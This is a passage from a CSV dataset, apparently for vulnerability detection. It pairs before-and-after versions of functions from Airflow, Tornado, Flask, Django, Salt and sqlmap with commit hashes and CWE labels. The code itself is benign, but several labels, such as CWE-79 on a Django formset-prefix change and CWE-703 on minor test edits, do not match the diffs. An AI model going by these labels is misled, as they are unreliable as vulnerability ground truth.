    assert len(metric_history) == num_of_epochs"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/breeze/src/airflow_breeze/utils/publish_docs_to_s3.py,0,"def publish_stable_version_docs(self):
        """"""
        Publish stable version docs to S3. The source dir should have a stable.txt file and it
        publishes to two locations: one with the version folder and another with stable folder
        ex:
        docs/apache-airflow-providers-apache-cassandra/1.0.0
        docs/apache-airflow-providers-apache-cassandra/stable
        """"""

        for doc in self.get_all_eligible_docs:
            # PACKAGES_METADATA_EXCLUDE_NAMES has no stable versions so we copy them directly
            if doc not in PACKAGES_METADATA_EXCLUDE_NAMES:
                stable_file_path = f""{self.source_dir_path}/{doc}/stable.txt""
                if os.path.exists(stable_file_path):
                    with open(stable_file_path) as stable_file:
                        stable_version = stable_file.read()
                        get_console().print(f""[info]Stable version: {stable_version} for {doc}\n"")
                else:
                    get_console().print(
                        f""[info]Skipping, stable version file not found for {doc} in {stable_file_path}\n""
                    )
                    continue

                dest_doc_versioned_folder = f""{self.destination_location}/{doc}/{stable_version}/""
                dest_doc_stable_folder = f""{self.destination_location}/{doc}/stable/""

                if self.doc_exists(dest_doc_versioned_folder):
                    if self.overwrite:
                        get_console().print(
                            f""[info]Overwriting existing version {stable_version} for {doc}\n""
                        )
                    else:
                        get_console().print(
                            f""[info]Skipping doc publish for {doc} as version {stable_version} already exists\n""
                        )
                        continue

                source_dir_doc_path = f""{self.source_dir_path}/{doc}/{stable_version}/""

                self.source_dest_mapping.append((source_dir_doc_path, dest_doc_versioned_folder))
                self.source_dest_mapping.append((source_dir_doc_path, dest_doc_stable_folder))
            else:
                source_dir_doc_path = f""{self.source_dir_path}/{doc}/""
                dest_doc_versioned_folder = f""{self.destination_location}/{doc}/""
                self.source_dest_mapping.append((source_dir_doc_path, dest_doc_versioned_folder))

        if self.source_dest_mapping:
            self.run_publish()",CWE-Unknown,apache/airflow,9acbb156b12461752c798ebd248941d144a13fea,"def publish_stable_version_docs(self):
        """"""
        Publish stable version docs to S3. The source dir should have a stable.txt file and it
        publishes to two locations: one with the version folder and another with stable folder
        ex:
        docs/apache-airflow-providers-apache-cassandra/1.0.0
        docs/apache-airflow-providers-apache-cassandra/stable
        """"""

        for doc in self.get_all_eligible_docs:
            stable_file_path = f""{self.source_dir_path}/{doc}/stable.txt""
            if os.path.exists(stable_file_path):
                with open(stable_file_path) as stable_file:
                    stable_version = stable_file.read()
                    get_console().print(f""[info]Stable version: {stable_version} for {doc}\n"")
            else:
                get_console().print(
                    f""[info]Skipping, stable version file not found for {doc} in {stable_file_path}\n""
                )
                continue

            dest_doc_versioned_folder = f""{self.destination_location}/{doc}/{stable_version}/""
            dest_doc_stable_folder = f""{self.destination_location}/{doc}/stable/""

            if self.doc_exists(dest_doc_versioned_folder):
                if self.overwrite:
                    get_console().print(f""[info]Overwriting existing version {stable_version} for {doc}\n"")
                else:
                    get_console().print(
                        f""[info]Skipping doc publish for {doc} as version {stable_version} already exists\n""
                    )
                    continue

            source_dir_doc_path = f""{self.source_dir_path}/{doc}/{stable_version}/""

            self.source_dest_mapping.append((source_dir_doc_path, dest_doc_versioned_folder))
            self.source_dest_mapping.append((source_dir_doc_path, dest_doc_stable_folder))

        if self.source_dest_mapping:
            self.run_publish()"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def __init__(self, *args, **kwargs):
        if args and kwargs:
            raise ValueError(
                ""You must provide args or kwargs, not both"")

        if kwargs:
            self._keys, self._futures = list(), list()
            for k, v in kwargs.items():
                self._keys.append(k)
                self._futures.append(v)
        else:
            self._keys = None
            self._futures = list(args)

        self._queue = collections.deque()
        self._current_future = None

        for future in self._futures:
            if future.done():
                self._queue.append(future)
            else:
                self_ref = weakref.ref(self)
                future.add_done_callback(functools.partial(
                        self._done_callback, self_ref))",CWE-Unknown,tornadoweb/tornado,1c72fb2e39aa6e2a26b25f3432f5a453a3288a3d,"def __init__(self, *args, **kwargs):
        if args and kwargs:
            raise ValueError(
                ""You must provide args or kwargs, not both"")

        if kwargs:
            self._keys, self._futures = list(), list()
            for k, v in kwargs.items():
                self._keys.append(k)
                self._futures.append(v)
            
        else:
            self._keys = None
            self._futures = list(args)
            
        self._queue = collections.deque()
        self._current_future = None
        
        for future in self._futures:
            if future.done():
                self._queue.append(future)
            else:
                self_ref = weakref.ref(self)
                future.add_done_callback(functools.partial(
                        self._done_callback, self_ref))"
,UNKNOWN,UNKNOWN,dev/breeze/tests/test_pr_info.py,1,"def test_runs_on_self_hosted():
    with mock.patch.dict(os.environ, {""AIRFLOW_SELF_HOSTED_RUNNER"": ""true""}):
        json_string = (TEST_PR_INFO_DIR / ""simple_pr.json"").read_text()
        wi = workflow_info(json_string)
        assert wi.pull_request_labels == [""another""]
        assert wi.target_repo == ""apache/airflow""
        assert wi.head_repo == ""apache/airflow""
        assert wi.event_name == ""pull_request""
        assert wi.pr_number == 1234
        # TODO: fix it when we fix self-hosted runners
        assert wi.get_runs_on() == '[""ubuntu-22.04""]'
        # assert wi.get_runs_on() == '[""self-hosted"", ""Linux"", ""X64""]'
        assert wi.is_canary_run() == ""false""
        assert wi.run_coverage() == ""false""",CWE-703,apache/airflow,bacd04319eb987cc63078605a9853eb817ba7994,"def test_runs_on_self_hosted():
    with mock.patch.dict(os.environ, {""AIRFLOW_SELF_HOSTED_RUNNER"": ""true""}):
        json_string = (TEST_PR_INFO_DIR / ""simple_pr.json"").read_text()
        wi = workflow_info(json_string)
        assert wi.pull_request_labels == [""another""]
        assert wi.target_repo == ""apache/airflow""
        assert wi.head_repo == ""apache/airflow""
        assert wi.event_name == ""pull_request""
        assert wi.pr_number == 1234
        assert wi.get_runs_on() == '[""self-hosted"", ""Linux"", ""X64""]'
        assert wi.is_canary_run() == ""false""
        assert wi.run_coverage() == ""false"""
,UNKNOWN,UNKNOWN,tests/conftest.py,1,"def leak_detector(request):
    def ensure_clean_request_context():
        # make sure we're not leaking a request context since we are
        # testing flask internally in debug mode in a few cases
        leaks = []
        while flask._request_ctx_stack.top is not None:
            leaks.append(flask._request_ctx_stack.pop())
        assert leaks == []
    request.addfinalizer(ensure_clean_request_context)",CWE-703,pallets/flask,84efebd6be3809388160e8654d0fccc9ce0b2395,"def leak_detector(request):
    def ensure_clean_request_context():
        # make sure we're not leaking a request context since we are
        # testing flask internally in debug mode in a few cases
        leaks = []
        while flask._request_ctx_stack.top is not None:
            leaks.append(flask._request_ctx_stack.pop())
        assert leaks == []
    request.addfinalizer(ensure_clean_request_context)"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""),
                                  prefix=prefix)
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            prefixes = {}
            for FormSet in self.get_formsets(request):
                prefix = FormSet.get_default_prefix()
                prefixes[prefix] = prefixes.get(prefix, 0) + 1
                if prefixes[prefix] != 1:
                    prefix = ""%s-%s"" % (prefix, prefixes[prefix])
                formset = FormSet(instance=self.model(), prefix=prefix)
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)",CWE-79,django/django,ee0320f63400de67cb5a3363d95899bc21354172,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta

        if not self.has_add_permission(request):
            raise PermissionDenied

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            for FormSet in self.get_formsets(request):
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            # Prepare the dict of initial data from the request.
            # We have to special-case M2Ms as a list of comma-separated PKs.
            initial = dict(request.GET.items())
            for k in initial:
                try:
                    f = opts.get_field(k)
                except models.FieldDoesNotExist:
                    continue
                if isinstance(f, models.ManyToManyField):
                    initial[k] = initial[k].split("","")
            form = ModelForm(initial=initial)
            for FormSet in self.get_formsets(request):
                formset = FormSet(instance=self.model())
                formsets.append(formset)

        adminForm = helpers.AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = helpers.InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': helpers.AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
            'app_label': opts.app_label,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/file.py,0,"def replace(name,
            pattern,
            repl,
            count=0,
            flags=8,
            bufsize=1,
            append_if_not_found=False,
            prepend_if_not_found=False,
            not_found_content=None,
            backup='.bak',
            show_changes=True,
            ignore_if_missing=False):
    r'''
    Maintain an edit in a file.

    .. versionadded:: 0.17.0

    name
        Filesystem path to the file to be edited.

    pattern
        A regular expression, to be matched using Python's
        :py:func:`~re.search`.

        ..note::
            If you need to match a literal string that contains regex special
            characters, you may want to use salt's custom Jinja filter,
            ``escape_regex``.

            ..code-block:: jinja

                {{ 'http://example.com?foo=bar%20baz' | escape_regex }}

    repl
        The replacement text

    count
        Maximum number of pattern occurrences to be replaced.  Defaults to 0.
        If count is a positive integer n, no more than n occurrences will be
        replaced, otherwise all occurrences will be replaced.

    flags
        A list of flags defined in the :ref:`re module documentation
        <contents-of-module-re>`. Each list item should be a string that will
        correlate to the human-friendly flag name. E.g., ``['IGNORECASE',
        'MULTILINE']``. Optionally, ``flags`` may be an int, with a value
        corresponding to the XOR (``|``) of all the desired flags. Defaults to
        ``8`` (which equates to ``['MULTILINE']``).

        .. note::

            ``file.replace`` reads the entire file as a string to support
            multiline regex patterns. Therefore, when using anchors such as
            ``^`` or ``$`` in the pattern, those anchors may be relative to
            the line OR relative to the file. The default for ``file.replace``
            is to treat anchors as relative to the line, which is implemented
            by setting the default value of ``flags`` to ``['MULTILINE']``.
            When overriding the default value for ``flags``, if
            ``'MULTILINE'`` is not present then anchors will be relative to
            the file. If the desired behavior is for anchors to be relative to
            the line, then simply add ``'MULTILINE'`` to the list of flags.

    bufsize
        How much of the file to buffer into memory at once. The default value
        ``1`` processes one line at a time. The special value ``file`` may be
        specified which will read the entire file into memory before
        processing.

    append_if_not_found : False
        If set to ``True``, and pattern is not found, then the content will be
        appended to the file.

        .. versionadded:: 2014.7.0

    prepend_if_not_found : False
        If set to ``True`` and pattern is not found, then the content will be
        prepended to the file.

        .. versionadded:: 2014.7.0

    not_found_content
        Content to use for append/prepend if not found. If ``None`` (default),
        uses ``repl``. Useful when ``repl`` uses references to group in
        pattern.

        .. versionadded:: 2014.7.0

    backup
        The file extension to use for a backup of the file before editing. Set
        to ``False`` to skip making a backup.

    show_changes : True
        Output a unified diff of the old file and the new file. If ``False``
        return a boolean if any changes were made. Returns a boolean or a
        string.

        .. note:
            Using this option will store two copies of the file in memory (the
            original version and the edited version) in order to generate the
            diff. This may not normally be a concern, but could impact
            performance if used with large files.

    ignore_if_missing : False
        .. versionadded:: 2016.3.4

        Controls what to do if the file is missing. If set to ``False``, the
        state will display an error raised by the execution module. If set to
        ``True``, the state will simply report no changes.

    For complex regex patterns, it can be useful to avoid the need for complex
    quoting and escape sequences by making use of YAML's multiline string
    syntax.

    .. code-block:: yaml

        complex_search_and_replace:
          file.replace:
            # <...snip...>
            - pattern: |
                CentOS \(2.6.32[^\n]+\n\s+root[^\n]+\n\)+

    .. note::

       When using YAML multiline string syntax in ``pattern:``, make sure to
       also use that syntax in the ``repl:`` part, or you might loose line
       feeds.
    '''
    name = os.path.expanduser(name)

    ret = {'name': name,
           'changes': {},
           'pchanges': {},
           'result': True,
           'comment': ''}
    if not name:
        return _error(ret, 'Must provide name to file.replace')

    check_res, check_msg = _check_file(name)
    if not check_res:
        return _error(ret, check_msg)

    changes = __salt__['file.replace'](name,
                                       pattern,
                                       repl,
                                       count=count,
                                       flags=flags,
                                       bufsize=bufsize,
                                       append_if_not_found=append_if_not_found,
                                       prepend_if_not_found=prepend_if_not_found,
                                       not_found_content=not_found_content,
                                       backup=backup,
                                       dry_run=__opts__['test'],
                                       show_changes=show_changes,
                                       ignore_if_missing=ignore_if_missing)

    if changes:
        ret['pchanges']['diff'] = changes
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = 'Changes would have been made:\ndiff:\n{0}'.format(changes)
        else:
            ret['result'] = True
            ret['comment'] = 'Changes were made'
            ret['changes'] = {'diff': changes}
    else:
        ret['result'] = True
        ret['comment'] = 'No changes needed to be made'

    return ret",,saltstack/salt,f1beaa0ef4bdfd941a398e53086ea4d050fb3d28,"def replace(name,
            pattern,
            repl,
            count=0,
            flags=8,
            bufsize=1,
            append_if_not_found=False,
            prepend_if_not_found=False,
            not_found_content=None,
            backup='.bak',
            show_changes=True,
            ignore_if_missing=False):
    r'''
    Maintain an edit in a file.

    .. versionadded:: 0.17.0

    name
        Filesystem path to the file to be edited.

    pattern
        A regular expression, to be matched using Python's
        :py:func:`~re.search`.

    repl
        The replacement text

    count
        Maximum number of pattern occurrences to be replaced.  Defaults to 0.
        If count is a positive integer n, no more than n occurrences will be
        replaced, otherwise all occurrences will be replaced.

    flags
        A list of flags defined in the :ref:`re module documentation
        <contents-of-module-re>`. Each list item should be a string that will
        correlate to the human-friendly flag name. E.g., ``['IGNORECASE',
        'MULTILINE']``. Optionally, ``flags`` may be an int, with a value
        corresponding to the XOR (``|``) of all the desired flags. Defaults to
        ``8`` (which equates to ``['MULTILINE']``).

        .. note::

            ``file.replace`` reads the entire file as a string to support
            multiline regex patterns. Therefore, when using anchors such as
            ``^`` or ``$`` in the pattern, those anchors may be relative to
            the line OR relative to the file. The default for ``file.replace``
            is to treat anchors as relative to the line, which is implemented
            by setting the default value of ``flags`` to ``['MULTILINE']``.
            When overriding the default value for ``flags``, if
            ``'MULTILINE'`` is not present then anchors will be relative to
            the file. If the desired behavior is for anchors to be relative to
            the line, then simply add ``'MULTILINE'`` to the list of flags.

    bufsize
        How much of the file to buffer into memory at once. The default value
        ``1`` processes one line at a time. The special value ``file`` may be
        specified which will read the entire file into memory before
        processing.

    append_if_not_found : False
        If set to ``True``, and pattern is not found, then the content will be
        appended to the file.

        .. versionadded:: 2014.7.0

    prepend_if_not_found : False
        If set to ``True`` and pattern is not found, then the content will be
        prepended to the file.

        .. versionadded:: 2014.7.0

    not_found_content
        Content to use for append/prepend if not found. If ``None`` (default),
        uses ``repl``. Useful when ``repl`` uses references to group in
        pattern.

        .. versionadded:: 2014.7.0

    backup
        The file extension to use for a backup of the file before editing. Set
        to ``False`` to skip making a backup.

    show_changes : True
        Output a unified diff of the old file and the new file. If ``False``
        return a boolean if any changes were made. Returns a boolean or a
        string.

        .. note:
            Using this option will store two copies of the file in memory (the
            original version and the edited version) in order to generate the
            diff. This may not normally be a concern, but could impact
            performance if used with large files.

    ignore_if_missing : False
        .. versionadded:: 2016.3.4

        Controls what to do if the file is missing. If set to ``False``, the
        state will display an error raised by the execution module. If set to
        ``True``, the state will simply report no changes.

    For complex regex patterns, it can be useful to avoid the need for complex
    quoting and escape sequences by making use of YAML's multiline string
    syntax.

    .. code-block:: yaml

        complex_search_and_replace:
          file.replace:
            # <...snip...>
            - pattern: |
                CentOS \(2.6.32[^\n]+\n\s+root[^\n]+\n\)+

    .. note::

       When using YAML multiline string syntax in ``pattern:``, make sure to
       also use that syntax in the ``repl:`` part, or you might loose line
       feeds.
    '''
    name = os.path.expanduser(name)

    ret = {'name': name,
           'changes': {},
           'pchanges': {},
           'result': True,
           'comment': ''}
    if not name:
        return _error(ret, 'Must provide name to file.replace')

    check_res, check_msg = _check_file(name)
    if not check_res:
        return _error(ret, check_msg)

    changes = __salt__['file.replace'](name,
                                       pattern,
                                       repl,
                                       count=count,
                                       flags=flags,
                                       bufsize=bufsize,
                                       append_if_not_found=append_if_not_found,
                                       prepend_if_not_found=prepend_if_not_found,
                                       not_found_content=not_found_content,
                                       backup=backup,
                                       dry_run=__opts__['test'],
                                       show_changes=show_changes,
                                       ignore_if_missing=ignore_if_missing)

    if changes:
        ret['pchanges']['diff'] = changes
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = 'Changes would have been made:\ndiff:\n{0}'.format(changes)
        else:
            ret['result'] = True
            ret['comment'] = 'Changes were made'
            ret['changes'] = {'diff': changes}
    else:
        ret['result'] = True
        ret['comment'] = 'No changes needed to be made'

    return ret"
,UNKNOWN,UNKNOWN,tests/integration/states/test_chocolatey.py,1,"def test_chocolatey(self):
        """"""
        Test the following:
        - `chocolatey.installed`
        - `chocolatey.upgraded`
        - `chocolatey.uninstalled`
        - `chocolatey.source_added`
        """"""
        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to NOT be installed before we run the states below
        target = ""firefox""
        pre_version = ""52.0.2""
        upg_version = ""57.0.2""
        src_name = ""test_repo""
        src_location = ""https://repo.test.com/chocolatey""
        log.debug(""Making sure %s is not installed"", target)
        self.assertFalse(self.run_function(""chocolatey.version"", [target]))

        try:
            ####################################################
            # Test `chocolatey.installed`
            ####################################################
            # Install the package
            log.debug(""Testing chocolatey.installed"")
            ret = self.run_state(
                ""chocolatey.installed"", name=target, version=pre_version
            )
            self.assertSaltTrueReturn(ret)

            # Verify the package is installed
            log.debug(""Verifying install success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {""Firefox"": [pre_version]})

            ####################################################
            # Test `chocolatey.upgraded`
            ####################################################
            # Upgrade the package
            log.debug(""Testing chocolatey.upgraded"")
            ret = self.run_state(
                ""chocolatey.upgraded"", name=target, version=upg_version
            )
            self.assertSaltTrueReturn(ret)

            # Verify the package is upgraded
            log.debug(""Verifying upgrade success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {""Firefox"": [upg_version]})

            ####################################################
            # Test `chocolatey.uninstalled`
            ####################################################
            # uninstall the package
            log.debug(""Testing chocolatey.uninstalled"")
            ret = self.run_state(""chocolatey.uninstalled"", name=target)
            self.assertSaltTrueReturn(ret)

            # Verify the package is uninstalled
            log.debug(""Verifying uninstall success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {})

            ####################################################
            # Test `chocolatey.source_added`
            ####################################################
            # add the source
            log.debug(""Testing chocolatey.source_added"")
            ret = self.run_state(""chocolatey.source_added"", name=src_name, source_location=src_location)
            self.assertSaltTrueReturn(ret)

            # Verify the source is added
            log.debug(""Verifying source_add success"")
            ret = self.run_function(""chocolatey.list_sources"")
            self.assertTrue(src_name in ret.keys())

        finally:
            # Always uninstall
            log.debug(""Uninstalling %s"", target)
            self.run_function(""chocolatey.uninstall"", [target])",CWE-703,saltstack/salt,7aee918fd55440515c9567914c9a11d0f55ec22d,"def test_chocolatey(self):
        """"""
        Test the following:
        - `chocolatey.installed`
        - `chocolatey.upgraded`
        - `chocolatey.uninstalled`
        - `chocolatey.source_added`
        """"""
        # If this assert fails, we need to find new targets, this test needs to
        # be able to test successful installation of packages, so this package
        # needs to NOT be installed before we run the states below
        target = ""firefox""
        pre_version = ""52.0.2""
        upg_version = ""57.0.2""
        src_name = ""test_repo""
        src_location = ""https://repo.test.com/chocolatey""
        log.debug(""Making sure %s is not installed"", target)
        self.assertFalse(self.run_function(""chocolatey.version"", [target]))

        try:
            ####################################################
            # Test `chocolatey.installed`
            ####################################################
            # Install the package
            log.debug(""Testing chocolatey.installed"")
            ret = self.run_state(
                ""chocolatey.installed"", name=target, version=pre_version
            )
            self.assertSaltTrueReturn(ret)

            # Verify the package is installed
            log.debug(""Verifying install success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {""Firefox"": [pre_version]})

            ####################################################
            # Test `chocolatey.upgraded`
            ####################################################
            # Upgrade the package
            log.debug(""Testing chocolatey.upgraded"")
            ret = self.run_state(
                ""chocolatey.upgraded"", name=target, version=upg_version
            )
            self.assertSaltTrueReturn(ret)

            # Verify the package is upgraded
            log.debug(""Verifying upgrade success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {""Firefox"": [upg_version]})

            ####################################################
            # Test `chocolatey.uninstalled`
            ####################################################
            # uninstall the package
            log.debug(""Testing chocolatey.uninstalled"")
            ret = self.run_state(""chocolatey.uninstalled"", name=target)
            self.assertSaltTrueReturn(ret)

            # Verify the package is uninstalled
            log.debug(""Verifying uninstall success"")
            ret = self.run_function(""chocolatey.version"", [target])
            self.assertEqual(ret, {})

            ####################################################
            # Test `chocolatey.source_added`
            ####################################################
            # add the source
            log.debug(""Testing chocolatey.source_added"")
            ret = self.run_state(""chocolatey.source_added"", name=src_name, source_location=src_location)
            self.assertSaltTrueReturn(ret)

            # Verify the source is added
            log.debug(""Verifying source_add success"")
            ret = self.run_function(""chocolatey.list_sources"")
            self.assertTrue(source_name in ret.keys())

        finally:
            # Always uninstall
            log.debug(""Uninstalling %s"", target)
            self.run_function(""chocolatey.uninstall"", [target])"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/api/test_client.py,1,"def handle_request(request: httpx.Request) -> httpx.Response:
            assert request.url.path == ""/task-instances/count""
            assert request.method == ""GET""
            params = request.url.params
            assert params[""dag_id""] == ""test_dag""
            assert params.get_list(""task_ids"") == task_ids
            assert params[""task_group_id""] == ""group1""
            assert params.get_list(""logical_dates"") == logical_dates_str
            assert params.get_list(""run_ids"") == []
            assert params.get_list(""states"") == states
            assert params[""map_index""] == ""0""
            return httpx.Response(200, json=10)",CWE-703,apache/airflow,f5701f90f7ad3727a4f28a98ce936187ef3637ba,"def handle_request(request: httpx.Request) -> httpx.Response:
            assert request.url.path == ""/task-instances/count""
            assert request.method == ""GET""
            params = request.url.params
            assert params[""dag_id""] == ""test_dag""
            assert params.get_list(""task_ids"") == task_ids
            assert params[""task_group_id""] == ""group1""
            assert params.get_list(""logical_dates"") == logical_dates_str
            assert params.get_list(""run_ids"") == []
            assert params.get_list(""states"") == states
            return httpx.Response(200, json=10)"
,UNKNOWN,UNKNOWN,tests/unit/modules/postgres_test.py,1,"def test_user_update(self):
        postgres.user_update(
            'test_username',
            user='test_user',
            host='test_host',
            port='test_port',
            maintenance_db='test_maint',
            password='test_pass',
            createdb=False,
            createroles=False,
            createuser=False,
            encrypted=False,
            inherit=True,
            login=True,
            replication=False,
            rolepassword='test_role_pass',
            groups='test_groups',
            runas='foo'
        )
        call_output = postgres._run_psql.call_args[0][0]
        self.assertTrue(
            re.match(
                '/usr/bin/pgsql --no-align --no-readline --no-password '
                '--username test_user '
                '--host test_host --port test_port --dbname test_maint '
                '-c [\'""]{0,1}ALTER ROLE (\\\\)?""test_username(\\\\)?"" WITH  INHERIT NOCREATEDB '
                'NOCREATEROLE NOREPLICATION LOGIN '
                'UNENCRYPTED PASSWORD [\'""]{0,5}test_role_pass[\'""]{0,5};'
                ' GRANT (\\\\)?""test_groups(\\\\)?"" TO (\\\\)?""test_username(\\\\)?""[\'""]{0,1}',
                call_output)
        )",CWE-259,saltstack/salt,1b4f06a5208b1b5874524ec0d40e99a1905115fb,"def test_user_update(self):
        postgres.user_update(
            'test_username',
            user='test_user',
            host='test_host',
            port='test_port',
            maintenance_db='test_maint',
            password='test_pass',
            createdb=False,
            createroles=False,
            createuser=False,
            encrypted=False,
            inherit=True,
            login=True,
            replication=False,
            rolepassword='test_role_pass',
            groups='test_groups',
            runas='foo'
        )
        call_output = postgres._run_psql.call_args[0][0]
        self.assertTrue(
            re.match(
                '/usr/bin/pgsql --no-align --no-readline --no-password '
                '--username test_user '
                '--host test_host --port test_port --dbname test_maint '
                '-c [\'""]{0,1}ALTER ROLE (\\\\)?""test_username(\\\\)?"" WITH  INHERIT NOCREATEDB '
                'NOCREATEROLE NOREPLICATION LOGIN '
                'UNENCRYPTED PASSWORD [\'""]{0,5}test_role_pass[\'""]{0,5};'
                ' GRANT (\\\\)?""test_groups(\\\\)?"" TO (\\\\)?""test_username""[\'""]{0,1}',
                call_output)
        )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def getSafeExString(ex, encoding=None):
    """"""
    Safe way how to get the proper exception represtation as a string
    (Note: errors to be avoided: 1) ""%s"" % Exception(u'\u0161') and 2) ""%s"" % str(Exception(u'\u0161'))

    >>> getSafeExString(SqlmapBaseException('foobar'))
    u'foobar'
    """"""

    retVal = None

    if getattr(ex, ""message"", None):
        retVal = ex.message
    elif getattr(ex, ""msg"", None):
        retVal = ex.msg
    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
        retVal = ex[1]
    elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring):
        retVal = ex[0]

    if retVal is None:
        retVal = str(ex)
    elif not isinstance(ex, SqlmapBaseException):
        retVal = ""%s: %s"" % (type(ex).__name__, retVal)

    return getUnicode(retVal or """", encoding=encoding).strip()",,sqlmapproject/sqlmap,581e4103c0b4a1dad7f8aa203633a234a8c6255c,"def getSafeExString(ex, encoding=None):
    """"""
    Safe way how to get the proper exception represtation as a string
    (Note: errors to be avoided: 1) ""%s"" % Exception(u'\u0161') and 2) ""%s"" % str(Exception(u'\u0161'))

    >>> getSafeExString(Exception('foobar'))
    u'foobar'
    """"""

    retVal = None

    if getattr(ex, ""message"", None):
        retVal = ex.message
    elif getattr(ex, ""msg"", None):
        retVal = ex.msg
    elif isinstance(ex, (list, tuple)) and len(ex) > 1 and isinstance(ex[1], basestring):
        retVal = ex[1]
    elif isinstance(ex, (list, tuple)) and len(ex) > 0 and isinstance(ex[0], basestring):
        retVal = ex[0]

    if retVal is None:
        retVal = str(ex)
    elif not isinstance(ex, SqlmapBaseException):
        retVal = ""%s: %s"" % (type(ex).__name__, retVal)

    return getUnicode(retVal or """", encoding=encoding).strip()"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_find_executable_task_instances_pool(self, dag_maker):
        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_pool'
        task_id_1 = 'dummy'
        task_id_2 = 'dummydummy'
        session = settings.Session()
        with dag_maker(dag_id=dag_id, max_active_tasks=16, session=session):
            DummyOperator(task_id=task_id_1, pool='a', priority_weight=2)
            DummyOperator(task_id=task_id_2, pool='b', priority_weight=1)

        self.scheduler_job = SchedulerJob(subdir=os.devnull)

        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED)

        tis = [
            dr1.get_task_instance(task_id_1, session=session),
            dr1.get_task_instance(task_id_2, session=session),
            dr2.get_task_instance(task_id_1, session=session),
            dr2.get_task_instance(task_id_2, session=session),
        ]
        tis = sorted(tis, key=lambda ti: ti.key)
        for ti in tis:
            ti.state = State.SCHEDULED
            session.merge(ti)
        pool = Pool(pool='a', slots=1, description='haha')
        pool2 = Pool(pool='b', slots=100, description='haha')
        session.add(pool)
        session.add(pool2)
        session.flush()

        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        session.flush()
